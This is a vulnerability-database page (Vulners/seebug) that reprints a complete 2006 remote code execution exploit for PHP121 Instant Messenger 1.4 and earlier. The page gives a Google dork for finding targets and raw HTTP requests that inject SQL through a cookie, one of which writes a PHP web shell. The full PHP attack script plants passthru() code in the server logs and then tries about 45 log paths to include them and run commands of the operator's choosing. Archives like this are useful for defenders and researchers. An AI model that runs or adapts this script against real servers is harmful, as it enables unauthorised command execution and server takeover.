Lucene search
K

PHP121 Instant Messenger <= 1.4 - Remote Code Execution Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 26 Views

PHP121 Instant Messenger <= 1.4 Remote Code Execution Exploit. Vulnerable to remote command execution. Works with magic_quotes_gpc = Off. Exploits include arbitrary file inclusion and blind injection

Code

                                                #!/usr/bin/php -q -d short_open_tag=on
&#60;?
echo &#34;PHP121 Instant Messenger &#60;= 1.4 \$_SESSION[sess_username] remote cmmnds xctn \r\n&#34;;
echo &#34;by rgod [email protected]\r\n&#34;;
echo &#34;site: http://retrogod.altervista.org\r\n\r\n&#34;;
echo &#34;-&#62; works with magic_quotes_gpc = Off\r\n\r\n&#34;;
echo &#34;a dork: inurl:php121login.php | inurl:php121im.php | intitle:\&#34;PHP121 - PLEASE\&#34;\r\n\r\n&#34;;

if ($argc&#60;4) {
echo &#34;Usage: php &#34;.$argv[0].&#34; host path cmd OPTIONS\r\n&#34;;
echo &#34;host:      target server (ip/hostname)\r\n&#34;;
echo &#34;path:      path to PHP121\r\n&#34;;
echo &#34;cmd:       a shell command\r\n&#34;;
echo &#34;Options:\r\n&#34;;
echo &#34;   -p[port]:    specify a port other than 80\r\n&#34;;
echo &#34;   -P[ip:port]: specify a proxy\r\n&#34;;
echo &#34;Examples:\r\n&#34;;
echo &#34;php &#34;.$argv[0].&#34; localhost /php121/ cat php121config.php\r\n&#34;;
echo &#34;php &#34;.$argv[0].&#34; localhost /php121/ ls -la -p81\r\n&#34;;
echo &#34;php &#34;.$argv[0].&#34; localhost / ls -la -P1.1.1.1:80\r\n&#34;;
die;
}

/*
 software site: http://www.php121.com/
 description: &#34;PHP121 is a free web based instant messenger - written entirely in
 PHP&#34;

 i)  vulnerable code in php121login.php and in nearly all files:

  ...
  if (isset($_COOKIE[&#39;php121un&#39;]) && isset($_COOKIE[&#39;php121pw&#39;])) {
        $logindataun = $_COOKIE[&#39;php121un&#39;];
        $logindatapw = $_COOKIE[&#39;php121pw&#39;];
        if (!empty($logindataun) && !empty($logindatapw)) {
                //we have a cookie - use it to login, overriding any sessions
                $_SESSION[sess_username]=$logindataun;
                $_SESSION[sess_password]=$logindatapw;
        }
}

$sess_username=$_SESSION[sess_username];
$sess_password=$_SESSION[sess_password];
  ...

  in php121language.php we have:

...
$sess_username=$_SESSION[sess_username];
$sess_password=$_SESSION[sess_password];
// are we logged in?

if ($sess_username!=&#34;&#34;) {

	// get our language preference
	$sql=&#34;select $dbf_language from $db_usertable where $dbf_uname=&#39;$sess_username&#39;&#34;;
	echo &#34;sql: &#34;.$sql.&#34;\r\n&#34;;
	$row=mysql_fetch_row(mysql_query($sql));
	if ($row[0]!=&#34;&#34;) {
	require_once(&#34;language/lang-&#34;.strtolower($row[0]).&#34;.php&#34;);

	}

} else {

	// use the default language file
	require_once(&#34;language/lang-&#34;.strtolower($php121_config[&#39;default_language&#39;]).&#34;.php&#34;);

}
...

 &#34;sess_username&#34; value is not sanitized before to be used in our query
 so, if magic_quotes_gpc = Off, we can include arbitrary files from local
 resources, poc:

  GET /php121login.php HTTP/1.0
  Host: somehost
  Cookie: php121un=%27UNION+SELECT+%27..%2F..%2F..%2Fetc%2Fpasswd%00%27+FROM+php121_users%2F%2A; php121pw=suntzu;
  Connection: Close

 now session cookie is poisoned, and we can go to php121language.php
 with our new cookie to see/include local resources, query becomes:

 select php121_language from php121_users where uname=&#39;&#39;UNION SELECT &#39;../../../etc/passwd[null char]&#39; FROM php121_users/*&#39;

 php121_language field is varchar(30) so, before MySQL 4.1.1,
 your path is limited to 29 chars (so, it is nearly impossible
 submit a valid inclusion path), with Mysql &#62;=4.1.1 it does not matter,
 path is not truncated anymore at the length of the first select field

 we can also try  blind injection, injecting a shell:

  GET /php121login.php HTTP/1.0
  Host: somehost
  Cookie: php121un=%27UNION+SELECT+%27%3C%3Fphp+system%28%24_GET%5Bcmd%5D%29%3B%3F%3E%27+INTO+DUMPFILE+%27somefile%27+FROM+php121_users%2F%2A; php121pw=suntzu;
  Connection: Close

 and now go to php121language.php to write our file, if MySQL have certain rigths
 to do it

 you can do the work trough a browser like Opera that allows to edit cookies

 However, this exploit inject some code in log files and try to include them

					                                      */
error_reporting(0);
ini_set(&#34;max_execution_time&#34;,0);
ini_set(&#34;default_socket_timeout&#34;,5);

function quick_dump($string)
{
  $result=&#39;&#39;;$exa=&#39;&#39;;$cont=0;
  for ($i=0; $i&#60;=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) &#60;= 32 ) | (ord($string[$i]) &#62; 126 ))
   {$result.=&#34;  .&#34;;}
   else
   {$result.=&#34;  &#34;.$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=&#34; &#34;.dechex(ord($string[$i]));}
   else
   {$exa.=&#34; 0&#34;.dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.=&#34;\r\n&#34;; $exa.=&#34;\r\n&#34;;}
  }
 return $exa.&#34;\r\n&#34;.$result;
}
$proxy_regex = &#39;(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)&#39;;
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy==&#39;&#39;) {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo &#39;No response from &#39;.$host.&#39;:&#39;.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo &#39;Not a valid proxy...&#39;;die;
    }
    $parts=explode(&#39;:&#39;,$proxy);
    echo &#34;Connecting to &#34;.$parts[0].&#34;:&#34;.$parts[1].&#34; proxy...\r\n&#34;;
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo &#39;No response from proxy...&#39;;die;
	}
  }
  fputs($ock,$packet);
  if ($proxy==&#39;&#39;) {
    $html=&#39;&#39;;
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html=&#39;&#39;;
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  #echo &#34;\r\n&#34;.$html;
}

$host=$argv[1];
$path=$argv[2];
$cmd=&#34;&#34;;$port=80;$proxy=&#34;&#34;;

for ($i=3; $i&#60;=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp&#60;&#62;&#34;-p&#34;) and ($temp&#60;&#62;&#34;-P&#34;))
{$cmd.=&#34; &#34;.$argv[$i];}
if ($temp==&#34;-p&#34;)
{
  $port=str_replace(&#34;-p&#34;,&#34;&#34;,$argv[$i]);
}
if ($temp==&#34;-P&#34;)
{
  $proxy=str_replace(&#34;-P&#34;,&#34;&#34;,$argv[$i]);
}
}
$cmd=urlencode($cmd);
if (($path[0]&#60;&#62;&#39;/&#39;) or ($path[strlen($path)-1]&#60;&#62;&#39;/&#39;)) {echo &#39;Error... check the path!&#39;; die;}
if ($proxy==&#39;&#39;) {$p=$path;} else {$p=&#39;http://&#39;.$host.&#39;:&#39;.$port.$path;}

echo &#34;[1] Injecting some code in log files ...\r\n\r\n&#34;;
$CODE=&#34;&#60;?php echo 56789;passthru(\$_COOKIE[cmd]);die;?&#62;&#34;;
$packet=&#34;GET &#34;.$p.$CODE.&#34; HTTP/1.0\r\n&#34;;
$packet.=&#34;User-Agent: &#34;.$CODE.&#34; Googlebot/2.1\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Connection: close\r\n\r\n&#34;;
sendpacketii($packet);
sleep(1);

$paths=array(
&#34;../../../../../../../../../../var/log/httpd/access_log&#34;,
&#34;../../../../../../../../../../var/log/httpd/error_log&#34;,
&#34;../apache/logs/error.log&#34;,
&#34;../apache/logs/access.log&#34;,
&#34;../../apache/logs/error.log&#34;,
&#34;../../apache/logs/access.log&#34;,
&#34;../../../apache/logs/error.log&#34;,
&#34;../../../apache/logs/access.log&#34;,
&#34;../../../../apache/logs/error.log&#34;,
&#34;../../../../apache/logs/access.log&#34;,
&#34;../../../../../apache/logs/error.log&#34;,
&#34;../../../../../apache/logs/access.log&#34;,
&#34;../../../../../../apache/logs/error.log&#34;,
&#34;../../../../../../apache/logs/access.log&#34;,
&#34;../logs/error.log&#34;,
&#34;../logs/access.log&#34;,
&#34;../../logs/error.log&#34;,
&#34;../../logs/access.log&#34;,
&#34;../../../logs/error.log&#34;,
&#34;../../../logs/access.log&#34;,
&#34;../../../../logs/error.log&#34;,
&#34;../../../../logs/access.log&#34;,
&#34;../../../../../logs/error.log&#34;,
&#34;../../../../../logs/access.log&#34;,
&#34;../../../../../../logs/error.log&#34;,
&#34;../../../../../../logs/access.log&#34;,
&#34;../../../../../../../../../../etc/httpd/logs/acces_log&#34;,
&#34;../../../../../../../../../../etc/httpd/logs/acces.log&#34;,
&#34;../../../../../../../../../../etc/httpd/logs/error_log&#34;,
&#34;../../../../../../../../../../etc/httpd/logs/error.log&#34;,
&#34;../../../../../../../../../../var/www/logs/access_log&#34;,
&#34;../../../../../../../../../../var/www/logs/access.log&#34;,
&#34;../../../../../../../../../../usr/local/apache/logs/access_log&#34;,
&#34;../../../../../../../../../../usr/local/apache/logs/access.log&#34;,
&#34;../../../../../../../../../../var/log/apache/access_log&#34;,
&#34;../../../../../../../../../../var/log/apache/access.log&#34;,
&#34;../../../../../../../../../../var/log/access_log&#34;,
&#34;../../../../../../../../../../var/www/logs/error_log&#34;,
&#34;../../../../../../../../../../var/www/logs/error.log&#34;,
&#34;../../../../../../../../../../usr/local/apache/logs/error_log&#34;,
&#34;../../../../../../../../../../usr/local/apache/logs/error.log&#34;,
&#34;../../../../../../../../../../var/log/apache/error_log&#34;,
&#34;../../../../../../../../../../var/log/apache/error.log&#34;,
&#34;../../../../../../../../../../var/log/access_log&#34;,
&#34;../../../../../../../../../../var/log/error_log&#34;
);


for ($i=0; $i&#60;=count($paths)-1; $i++)
{
  $a=$i+2;
  echo &#34;[&#34;.$a.&#34;] Trying with: &#34;.$paths[$i].&#34;%00\r\n&#34;;
  $sql=&#34;&#39;UNION SELECT &#39;&#34;.$paths[$i].chr(0x00).&#34;&#39; FROM php121_users/*&#34;;
  $sql=urlencode($sql);
  $packet =&#34;GET &#34;.$p.&#34;php121login.php HTTP/1.0\r\n&#34;;
  $packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
  $packet.=&#34;Cookie: php121un=&#34;.$sql.&#34;; php121pw=suntzu;\r\n&#34;;
  $packet.=&#34;Connection: Close\r\n\r\n&#34;;
  #debug
  #echo quick_dump($packet);
  sendpacketii($packet);

  $temp=explode(&#34;Set-Cookie: &#34;,$html);
  $temp2=explode(&#34; &#34;,$temp[1]);
  $cookie=$temp2[0];
  echo &#34;Cookie -&#62; &#34;.$cookie.&#34;\r\n\r\n&#34;;
  if ($cookie==&#39;&#39;) {
  echo $html;
  die(&#34;Something goes wrong...\r\n&#34;);
  }

  $packet =&#34;GET &#34;.$p.&#34;php121language.php HTTP/1.0\r\n&#34;;
  $packet.=&#34;User-Agent: GoogleBot/2.1\r\n&#34;;
  $packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
  $packet.=&#34;Cookie: &#34;.$cookie.&#34;; cmd=&#34;.$cmd.&#34;;\r\n&#34;;
  $packet.=&#34;Connection: Close\r\n\r\n&#34;;
  #debug
  #echo quick_dump($packet);
  sendpacketii($packet);
  if (strstr($html,&#34;56789&#34;))
  {
    echo &#34;Exploit succeeded...\r\n&#34;;
    $temp=explode(&#34;56789&#34;,$html);
    echo $temp[1];
    die;
  }
}
//if you are here...
echo &#34;Exploit failed...&#34;;
?&#62;

# milw0rm.com [2006-04-12]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation